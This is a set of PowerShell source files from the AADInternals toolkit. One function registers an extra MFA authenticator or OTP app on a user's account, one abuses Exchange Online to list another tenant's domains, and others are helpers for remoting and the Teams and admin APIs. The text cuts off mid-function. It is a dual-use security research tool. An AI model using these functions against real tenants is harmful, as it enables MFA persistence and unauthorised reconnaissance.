.SYNOPSIS
Registers AADInternals Authenticator App or OTP app for the user.
.DESCRIPTION
Registers AADInternals Authenticator App or OTP appfor the user.
Requirements for App:
* AADInternals Authentication app is installed.
* Device Token is copied from the app.
* The user have registered at least one MFA method, e.g. SMS. This is because Access Token creation performs MFA.
* Registration is done through https://mysignins.microsoft.com so "Users can use the combined security information registration experience" MUST be activated for the tenant.
.Example
$deviceToken = "APA91bEGIvk1CCg1VIj_YQ_L8fn59UD6...mvXYxlWM6s90_Ct_fpo7iE3uF8hTb"
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b [email protected] 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
PS C:\>Register-AADIntMFAApp -DeviceToken -$deviceToken -DeviceName "My MFA App" -Type APP
DefaultMethodOptions : 1
DefaultMethod : 0
Username : [email protected]
TenantId : 9a79b12c-f563-4bdc-9d18-6e6d0d52f73b
AzureObjectId : dce60ee2-d907-4478-9f36-de3d74708381
ConfirmationCode : 1481770594613653
OathTokenSecretKey : dzv5osvdx6dhtly4av2apcts32eqh4bg
OathTokenEnabled : true
.Example
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b [email protected] 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
PS C:\>Register-AADIntMFAApp -Type OTP
OathSecretKey DefaultMethodOptions DefaultMethod
------------- -------------------- -------------
5bhbqsrb6ft5rxdx 1 0
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$DeviceToken,
[Parameter(Mandatory=$False)]
[String]$DeviceName="AADInternals",
[ValidateSet("APP","OTP")]
[String]$Type="APP"
)
Begin
{
# Define some variables
$PfPaWs = "PfPaWs.asmx"
$Version = "6.2001.0140" # Don't change this or Android version number. It should match the auth app version.
}
Process
{
try
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "0000000c-0000-0000-c000-000000000000" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
}
catch
{
Throw "Access token not found! Call Get-AADIntAccessTokenForMySignins with SaveToCache switch."
}
# Check that DeviceCode exists for APP
if($Type -eq "APP" -and [string]::IsNullOrEmpty($DeviceToken))
{
Throw "Type APP requires DeviceToken"
}
# Phase 1: Get the registration info (url, activation code, session context)
$regInfo = Get-MFAAppRegistrationInfo -AccessToken $AccessToken -Type $Type
if(!$regInfo) {
Throw "Registration failed (phase 1)"
}
if($Type -eq "APP")
{
# Phase 2: Send a new activation request
$actInfo = Send-MFAAppNewActivation -AccessToken $AccessToken -RegistrationInfo $regInfo -DeviceToken $DeviceToken -DeviceName $DeviceName
if(!$actInfo) {
Throw "Registration failed (phase 2)"
}
# Phase 3: Send confirmation
$confResult = Send-MFAAppNewActivationConfirmation -AccessToken $AccessToken -ActivationInfo $actInfo -RegistrationInfo $regInfo
if(!$confResult) {
Throw "Registration failed (phase 3)"
}
}
else
{
$actInfo = New-Object psobject -Property @{ "OathSecretKey" = $regInfo.SecretKey}
}
# Phase 4: Add the device to the user
$verContext = Add-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -Type $Type
if(!$verContext) {
Throw "Registration failed (phase 4)"
}
# Phase 5: Get data updates (not needed)
$updates = Verify-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -VerificationContext $verContext -Type $Type
if(!$updates) {
Write-Warning "Couldn't get data updates."
}
# Insert data update info to return value
$actInfo | Add-Member -NotePropertyName "DefaultMethodOptions" -NotePropertyValue $updates.DefaultMethodOptions
$actInfo | Add-Member -NotePropertyName "DefaultMethod" -NotePropertyValue $updates.DefaultMethod
# Return
return $actInfo
}
} |
AdminAPI_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions for Admin operations.
# Invoke Admin API
# Dec 11th 2021
function Invoke-AdminAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[ValidateSet('Get','Post','Patch','Put','Delete')]
[String]$Method,
[Parameter(Mandatory=$False)]
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
)
Process
{
$headers=@{}
# If we got WebSession, no need for Access Token
if($WebSession -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers["Authorization"] = "Bearer $AccessToken"
# Create a new web session
$WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
}
# Set cookie maximun size the returned cookies exceeds the normal maximum size 4096
$WebSession.Cookies.MaxCookieSize=65536
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method $Method -Uri "https://admin.microsoft.com/$Url" -Headers $headers -Body $body -WebSession $WebSession
$response
}
}
|
Teams_utils.ps1 | AADInternals-0.9.4 | # Gets Teams service information
# Oct 16th 2020
function Get-TeamsUserSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://teams.microsoft.com/api/authsvc/v1.0/authz" -Headers @{"Authorization"="Bearer $AccessToken"}
}
}
# Gets Teams recipients info
# May 11th 2021
function Get-TeamsRecipients
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String[]]$Recipients
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
# Must be a proper array, so add element if only one provided
if($Recipients.Count -eq 1)
{
$Recipients += ""
}
# Get the settings
$teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken
$chatService = $teamsSettings.regionGtms.chatService
$apiUrl = $teamsSettings.regionGtms.middleTier
$skypeToken = $teamsSettings.tokens.SkypeToken
# Construct the headers
$headers = @{
"Authorization" = "Bearer $AccessToken"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36"
"Authentication" = "skypetoken=$skypeToken"
"x-ms-client-version" = "27/1.0.0.2020101241"
}
$recipientInfo = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$apiUrl/beta/users/fetch?isMailAddress=true&canBeSmtpAddress=false&enableGuest=true&includeIBBarredUsers=true&skypeTeamsInfo=true" -Headers $headers -Body ([String[]]$Recipients|ConvertTo-Json) -ContentType "application/json"
$msgRecipients = $recipientInfo.Value
return $msgRecipients
}
} |
PSRP.ps1 | AADInternals-0.9.4 | # PowerShell Remoting Protocol functions
# Creates a PowerShell remote shell
# Apr 24th 2019
function Create-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter()]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$False)]
[String]$SessionId=((New-Guid).ToString())
)
Process
{
$Body = @"
<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM$(Get-Random -Maximum 1000)" ShellId="$((New-Guid).ToString().ToUpper())">
<rsp:InputStreams>stdin pr</rsp:InputStreams>
<rsp:OutputStreams>stdout</rsp:OutputStreams>
<creationXml xmlns="http://schemas.microsoft.com/powershell">AAAAAAAAAAcAAAAAAAAAAAMAAALwAgAAAAIAAQAGWlblyniqQabvSrnLG9XKAAAAAAAAAAAAAAAAAAAAAO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48VmVyc2lvbiBOPSJwcm90b2NvbHZlcnNpb24iPjIuMzwvVmVyc2lvbj48VmVyc2lvbiBOPSJQU1ZlcnNpb24iPjIuMDwvVmVyc2lvbj48VmVyc2lvbiBOPSJTZXJpYWxpemF0aW9uVmVyc2lvbiI+MS4xLjAuMTwvVmVyc2lvbj48QkEgTj0iVGltZVpvbmUiPkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQnhUZVhOMFpXMHVRM1Z5Y21WdWRGTjVjM1JsYlZScGJXVmFiMjVsQkFBQUFCZHRYME5oWTJobFpFUmhlV3hwWjJoMFEyaGhibWRsY3cxdFgzUnBZMnR6VDJabWMyVjBEbTFmYzNSaGJtUmhjbVJPWVcxbERtMWZaR0Y1YkdsbmFIUk9ZVzFsQXdBQkFSeFRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVTR0Z6YUhSaFlteGxDUWtDQUFBQUFOQ0l3eEFBQUFBS0NnUUNBQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhBQUFBQUNnb0RBQUFBQ1FNQUFBQUpCQUFBQUJBREFBQUFBQUFBQUJBRUFBQUFBQUFBQUFzPTwvQkE+PC9NUz48L09iaj4AAAAAAAAACAAAAAAAAAAAAwAACtwCAAAABAABAAZaVuXKeKpBpu9Kucsb1coAAAAAAAAAAAAAAAAAAAAA77u/PE9iaiBSZWZJZD0iMCI+PE1TPjxJMzIgTj0iTWluUnVuc3BhY2VzIj4xPC9JMzI+PEkzMiBOPSJNYXhSdW5zcGFjZXMiPjE8L0kzMj48T2JqIE49IlBTVGhyZWFkT3B0aW9ucyIgUmVmSWQ9IjEiPjxUTiBSZWZJZD0iMCI+PFQ+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMuUFNUaHJlYWRPcHRpb25zPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5EZWZhdWx0PC9Ub1N0cmluZz48STMyPjA8L0kzMj48L09iaj48T2JqIE49IkFwYXJ0bWVudFN0YXRlIiBSZWZJZD0iMiI+PFROIFJlZklkPSIxIj48VD5TeXN0ZW0uVGhyZWFkaW5nLkFwYXJ0bWVudFN0YXRlPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5Vbmtub3duPC9Ub1N0cmluZz48STMyPjI8L0kzMj48L09iaj48T2JqIE49IkFwcGxpY2F0aW9uQXJndW1lbnRzIiBSZWZJZD0iMyI+PFROIFJlZklkPSIyIj48VD5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTUHJpbWl0aXZlRGljdGlvbmFyeTwvVD48VD5TeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlPC9UPjxUPlN5c3RlbS5PYmplY3Q8L1Q+PC9UTj48RENUPjxFbj48UyBOPSJLZXkiPlBTVmVyc2lvblRhYmxlPC9TPjxPYmogTj0iVmFsdWUiIFJlZklkPSI0Ij48VE5SZWYgUmVmSWQ9IjIiIC8+PERDVD48RW4+PFMgTj0iS2V5Ij5QU1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0VkaXRpb248L1M+PFMgTj0iVmFsdWUiPkRlc2t0b3A8L1M+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0NvbXBhdGlibGVWZXJzaW9uczwvUz48T2JqIE49IlZhbHVlIiBSZWZJZD0iNSI+PFROIFJlZklkPSIzIj48VD5TeXN0ZW0uVmVyc2lvbltdPC9UPjxUPlN5c3RlbS5BcnJheTwvVD48VD5TeXN0ZW0uT2JqZWN0PC9UPjwvVE4+PExTVD48VmVyc2lvbj4xLjA8L1ZlcnNpb24+PFZlcnNpb24+Mi4wPC9WZXJzaW9uPjxWZXJzaW9uPjMuMDwvVmVyc2lvbj48VmVyc2lvbj40LjA8L1ZlcnNpb24+PFZlcnNpb24+NS4wPC9WZXJzaW9uPjxWZXJzaW9uPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9MU1Q+PC9PYmo+PC9Fbj48RW4+PFMgTj0iS2V5Ij5DTFJWZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj40LjAuMzAzMTkuNDIwMDA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5CdWlsZFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjEwLjAuMTcxMzQuNTkwPC9WZXJzaW9uPjwvRW4+PEVuPjxTIE49IktleSI+V1NNYW5TdGFja1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjMuMDwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlBTUmVtb3RpbmdQcm90b2NvbFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjIuMzwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlNlcmlhbGl6YXRpb25WZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj4xLjEuMC4xPC9WZXJzaW9uPjwvRW4+PC9EQ1Q+PC9PYmo+PC9Fbj48L0RDVD48L09iaj48T2JqIE49Ikhvc3RJbmZvIiBSZWZJZD0iNiI+PE1TPjxPYmogTj0iX2hvc3REZWZhdWx0RGF0YSIgUmVmSWQ9IjciPjxNUz48T2JqIE49ImRhdGEiIFJlZklkPSI4Ij48VE4gUmVmSWQ9IjQiPjxUPlN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxEQ1Q+PEVuPjxJMzIgTj0iS2V5Ij45PC9JMzI+PE9iaiBOPSJWYWx1ZSIgUmVmSWQ9IjkiPjxNUz48UyBOPSJUIj5TeXN0ZW0uU3RyaW5nPC9TPjxTIE49IlYiPldpbmRvd3MgUG93ZXJTaGVsbCBJU0U8L1M+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+NTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMCI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5TaXplPC9TPjxPYmogTj0iViIgUmVmSWQ9IjExIj48TVM+PEkzMiBOPSJ3aWR0aCI+ODg8L0kzMj48STMyIE49ImhlaWdodCI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MjwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMiI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5Db29yZGluYXRlczwvUz48T2JqIE49IlYiIFJlZklkPSIxMyI+PE1TPjxJMzIgTj0ieCI+MDwvSTMyPjxJMzIgTj0ieSI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxNCI+PE1TPjxTIE49IlQiPlN5c3RlbS5Db25zb2xlQ29sb3I8L1M+PEkzMiBOPSJWIj4tMTwvSTMyPjwvTVM+PC9PYmo+PC9Fbj48RW4+PEkzMiBOPSJLZXkiPjA8L0kzMj48T2JqIE49IlZhbHVlIiBSZWZJZD0iMTUiPjxNUz48UyBOPSJUIj5TeXN0ZW0uQ29uc29sZUNvbG9yPC9TPjxJMzIgTj0iViI+LTE8L0kzMj48L01TPjwvT2JqPjwvRW4+PC9EQ1Q+PC9PYmo+PC9NUz48L09iaj48QiBOPSJfaXNIb3N0TnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFVJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFJhd1VJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX3VzZVJ1bnNwYWNlSG9zdCI+ZmFsc2U8L0I+PC9NUz48L09iaj48L01TPjwvT2JqPg==</creationXml>
</rsp:Shell>
"@
Write-Verbose "Session Id: $SessionId"
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Create -Option @("protocolversion","2.3")
# Create the Shell
try
{
$shell_response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
}
catch
{
# Probably wrong credentials or access token
Write-error $_.Exception.Message
return
}
[xml]$response = $shell_response
# Save the shell id for the later use
$Shell_Id = $response.Envelope.Body.Shell.ShellId
Write-Verbose "ShellId: $Shell_Id"
# Get the output to read session capabilities etc.
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
}
# Read the rest of the output
while($parsed_message.'Message type' -ne "Runspool state")
{
try
{
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
$message = $response.Envelope.Body.ReceiveResponse.Stream.'#text'
$parsed_message = Parse-PSRPMessage -Base64Value $message
}
catch
{
break
}
}
return $Shell_Id
}
}
# Gets other domains of the given tenant
# Apr 24th 2019
function Get-TenantDomains2
{
<#
.SYNOPSIS
Gets other domains from the tenant of the given domain
.DESCRIPTION
Uses Exchange Online "feature" that allows Get-FederationInformation cmdlet to retrive other
domains from the tenant of the given domain. The tenant used to retrieve information can
be any tenant having Exchange Online, including trial tenants.
The given user MUST have GlobalAdmin / CompanyAdministrator role in the tenant running the function,
but no rights to the target tenant is needed.
Due to Exchange Online, this function is extremely slow, can take 10 seconds or more to complete.
The given domain SHOULD be Managed, federated domains are not always found for some reason.
If nothing is found, try to use <domain>.onmicrosoft.com
.Example
Get-AADIntTenantDomains -Credentials $Cred -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
# First, check if the domain is registered to Azure AD
$tenantId = Get-TenantID -Domain $Domain
if([string]::IsNullOrEmpty($tenantId))
{
Write-Error "Domain $domain is not registered to any Azure AD tenant"
return
}
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message (uses the fixed runspace pool ID)
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List``1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-FederationInformation</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-DomainName:</S><S N="V">$Domain</S></MS></Obj><Obj RefId="14"><MS><S N="N">-BypassAdditionalDomainValidation:</S><Obj N="V" RefId="15"><TN RefId="2"><T>System.Management.Automation.SwitchParameter</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>True</ToString><Props><B N="IsPresent">true</B></Props></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="3"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="4"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-FederationInformation</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-FederationInfo -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$Domains = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Update the progress so we know that something is going on..
Write-Progress -Activity "Retrieving domains from tenant ($tenantId)" -Status $(Get-WaitingMessage) -PercentComplete 50
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Progress record")
{
# Extract the StatusDescription and PercentComlete from the message
$StatusDescription = (Select-Xml -Xml $xmlData -XPath "//*[@N='StatusDescription']").Node.'#text'
[int]$PercentComlete = (Select-Xml -Xml $xmlData -XPath "//*[@N='PercentComplete']").Node.'#text'
}
elseif($parsed_message.'Message type' -eq "Pipeline output")
{
$DomainNames = (Select-Xml -Xml $xmlData -XPath "//*[@N='DomainNames']")
$Domains = $DomainNames.node.lst.S
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Received the following error (probably the user has no admin rights):"
Write-Error "$errorRecord"
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving domains" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
# Return domain names
return $Domains | Sort-Object
}
}
# Removes the shell, a.k.a. disconnects from the ps host
# Apr 24th 2019
function Remove-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$False,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$True)]
[String]$SessionId
)
Process
{
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body " " -Action Delete -Shell_Id $Shell_Id
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
# Nothing to return..
}
}
# Get Mobile Devices
# May 9th 2019
function Get-MobileDevices
{
<#
.SYNOPSIS
Gets mobile devices for the current user or all devices (if admin)
.DESCRIPTION
Retrieves a list of mobile devices using Remote Exchange Online PowerShell
.Example
Get-AADIntMobileDevices -Credentials $Cred
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-MobileDevice</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History"/><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN 